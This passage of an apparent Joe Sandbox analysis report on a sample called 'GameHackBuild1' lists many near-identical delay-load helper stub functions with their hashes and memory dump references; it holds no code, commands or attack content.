Opcode Fuzzy Hash: 165052b71122b83ab30de35089d6b228ca5cc0925bc5c2571781b8b6cce29e50
Instruction Fuzzy Hash: E9B012F127C5017D314C61046E02E76022DC5C2B503308A1AB20AE01C0D4405CCA0531

Function 00A1D8CA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 48f48e8a78e6a49572e6a35d0f5c7fcec9146024e801f1608f24dcd8c1451ec3
Instruction ID: 0855a642dbd374cfcac06fc0d9029727fa1180e3f5e692b90e8d046e0138c07d
Opcode Fuzzy Hash: 48f48e8a78e6a49572e6a35d0f5c7fcec9146024e801f1608f24dcd8c1451ec3
Instruction Fuzzy Hash: 7CB012F127C4017C310C61046F02E76022DC5C2B10330891AB20AE01C0D4505D8F0531

Function 00A1D8DE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 294ddcad23f1c3b096eb4630c14e372e76604b336a3ded4dd74fcd3b2a7bc3a6
Instruction ID: 6f6dcb5c47e0a4781fea4806e3708fecd2e3a5e42766d57e002e9501720fc8cb
Opcode Fuzzy Hash: 294ddcad23f1c3b096eb4630c14e372e76604b336a3ded4dd74fcd3b2a7bc3a6
Instruction Fuzzy Hash: F7B012B127C4017C310C61046E02E76022DC5C3B10330891AB50ED00C0D4405D890531

Function 00A1E1F9 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1E20B

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5284e23fe47c72de022b3e46e3fd1eb6a8dabab0cbe8f1c70737e319fb5ecfff
Instruction ID: 1ea37f73e6ff7db2b907d6d78a7a2ffda76360a9fbc706d12242571c4e64a096
Opcode Fuzzy Hash: 5284e23fe47c72de022b3e46e3fd1eb6a8dabab0cbe8f1c70737e319fb5ecfff
Instruction Fuzzy Hash: D9B012B627E0027C320C51047F16DF7033CC4C0B50330881AB605D4080A5414E864032

Function 00A1D924 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c12d86e8b10abdd05b02666fbc31c27cd1a4cbb06253ff826e339685e57fa1c2
Instruction ID: d257dd15e8c7803fc85f9b579089e7052661f3f02c2d85271e29704e0ad9ffdf
Opcode Fuzzy Hash: c12d86e8b10abdd05b02666fbc31c27cd1a4cbb06253ff826e339685e57fa1c2
Instruction Fuzzy Hash: E9B012B127D4017C310C61046E02E76026FDAC2B10730491AB10AD00C0D4405C850531

Function 00A1D92E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: bc27c19a5c64e2349f64090b98423a685e7c841e4560ac67eb0762e8670aa477
Instruction ID: 506b933f141545bd3ef220a3ea43b75b1a7294d7926bdf31065da9e4d0b2cbba
Opcode Fuzzy Hash: bc27c19a5c64e2349f64090b98423a685e7c841e4560ac67eb0762e8670aa477
Instruction Fuzzy Hash: 0AB012B127D4017C310C61146E02E76026DC5C3B10330891AB60AD00C0D6409CC50531

Function 00A1D906 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8ed4b11ce39bbcc136ba8b57b5a87c653669a5882ffcece65074f1cc628befaa
Instruction ID: c1358d10d616ad2db5085e3369bf5bba45f155cd518d1a2671f6e0fb6e8f931c
Opcode Fuzzy Hash: 8ed4b11ce39bbcc136ba8b57b5a87c653669a5882ffcece65074f1cc628befaa
Instruction Fuzzy Hash: 26B012B127D4017C310C61046E02E76022FC6C3B10730891AB50AD00C0D4405C850531

Function 00A1D910 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6df02fa5cb9efdf3ebb16ada71721301fdf4864a8e26749cfa8eaa9b1990a3ab
Instruction ID: ba1648c6d1237f0a6e8d56825a91783b75d1535fac43ba83c86be2e8aa8a778e
Opcode Fuzzy Hash: 6df02fa5cb9efdf3ebb16ada71721301fdf4864a8e26749cfa8eaa9b1990a3ab
Instruction Fuzzy Hash: 89B012B127D5017D314C62046E02E76022FC6C2B507304A1AB10AD00C0D4405CC50531

Function 00A1D974 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 231a24088f6024257edc5492f699d2195e2b97b7617399cc0d2d71883a135f60
Instruction ID: a66d9c0971dbe4a438ee586a3e6216c4158c17b048344e438a6c26fdcf2bf316
Opcode Fuzzy Hash: 231a24088f6024257edc5492f699d2195e2b97b7617399cc0d2d71883a135f60
Instruction Fuzzy Hash: D5B012B167C4017C310C61046E07E76022DD5C2B103304D2AB50AD00C0D4505C850531

Function 00A1D942 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0d63d49b627af51e9f0a0ccd38cda1672bb03b4c1689cddee2e52ce6398bc8b9
Instruction ID: e316591ca1ceff0c99dc979004a26982e5bffa6d70fd36354db4925a121030ee
Opcode Fuzzy Hash: 0d63d49b627af51e9f0a0ccd38cda1672bb03b4c1689cddee2e52ce6398bc8b9
Instruction Fuzzy Hash: A9B012B127D4017C310C61046F02E7602ADC5C2B10730491AB10AD00C0D5405DC60531

Function 00A1DACF Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DAB2

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4230ffc49b91c8e32c6503e8c2a8d8073a0591023dcf12d31d7192dcddc01bb5
Instruction ID: 380df3b1e0acaace11f66f89aa0c864f409377f8e4a2358f6716ac32545448f6
Opcode Fuzzy Hash: 4230ffc49b91c8e32c6503e8c2a8d8073a0591023dcf12d31d7192dcddc01bb5
Instruction Fuzzy Hash: 9CB012B127C001FC3108B1056E12E7B026CC4C0B50330C91BB409C40C4D4444D894531

Function 00A1DAD9 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DAB2

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3586a29210ee36359d2c5cde1ffb7c87c200e9c886050d7fa39362eed0c392d6
Instruction ID: 38cc1bc630b4432baa0c5cb8c1d1d79299af74bf014c7a8c9bfc0d9801dcaf2c
Opcode Fuzzy Hash: 3586a29210ee36359d2c5cde1ffb7c87c200e9c886050d7fa39362eed0c392d6
Instruction Fuzzy Hash: B8B012A127C0017C3108B1056F12F7F027DD4C4B503308D1BB209D4044D4404C8A4531

Function 00A1DBE8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DBD5

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: db8fd1bb35c62385fee478e87eb6080a9b56852ee58e1ec279f976b8173fe612
Instruction ID: d71d0720ee266b0381ea75f7b502bc0ca94987366ad37870fd56af9c43d1f6db
Opcode Fuzzy Hash: db8fd1bb35c62385fee478e87eb6080a9b56852ee58e1ec279f976b8173fe612
Instruction Fuzzy Hash: F3B012A637C002BC310C510C2E07EF7023CD0C0B10331891AB50AC1080D9404C894131

Function 00A1DBFC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DBD5

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 41e13d0101702509c8ef92fb38996a46be2e2d50388ad3f04f7e40b5bd0cddb9
Instruction ID: 5cd791816578dab8263f6c634635dc2d7735b0b268fb8312e716c556a9b2552d
Opcode Fuzzy Hash: 41e13d0101702509c8ef92fb38996a46be2e2d50388ad3f04f7e40b5bd0cddb9
Instruction Fuzzy Hash: 21B012A637C0027C310C510C2F07EF7023CD0C0B10331881AB20AC0040D9404C864131

Function 00A1DBC3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DBD5

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7ed34d89b6ecb8027167b1ecd86e0e268c67e1b1a9ab2ce1ad0db25aa812a3dd
Instruction ID: 0d1337e6ba328a4e200ead5f6a9b7fe0b706e81af9e83a4c2ed87c7773a0a651
Opcode Fuzzy Hash: 7ed34d89b6ecb8027167b1ecd86e0e268c67e1b1a9ab2ce1ad0db25aa812a3dd
Instruction Fuzzy Hash: E2B012A637C1067C320811082E07DF7023CD0C0B50331492AB106D0040D9404CC94031

Function 00A1DBDE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DBD5

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7d07136daeba672f13bf0bbec46fbcc98d2f7a4c9e43004dd096d63dbac270b8
Instruction ID: fad1ab97e991b683d93786d6234acb042c8639dabb6e923c5c6add3563973101
Opcode Fuzzy Hash: 7d07136daeba672f13bf0bbec46fbcc98d2f7a4c9e43004dd096d63dbac270b8
Instruction Fuzzy Hash: 67B012A63BC0017C3108511C2E07FF6023DE0C0B10331482AB10BC0040D9404C894131

Function 00A1DB01 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DAB2

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 790b064adcf919b0715edb14605a495f16403f7dd2ebe6dd19a24ff27a465c69
Instruction ID: edd332eaea8e5c9883e9735663d5cc03f69cd3ebd1ccc627b7811beab8fe6338
Opcode Fuzzy Hash: 790b064adcf919b0715edb14605a495f16403f7dd2ebe6dd19a24ff27a465c69
Instruction Fuzzy Hash: 18B012A12BC1017C7108B1056E12F7B026DE4C0B50330492BB009C4044D4404C854631

Function 00A1DC24 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DC36

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
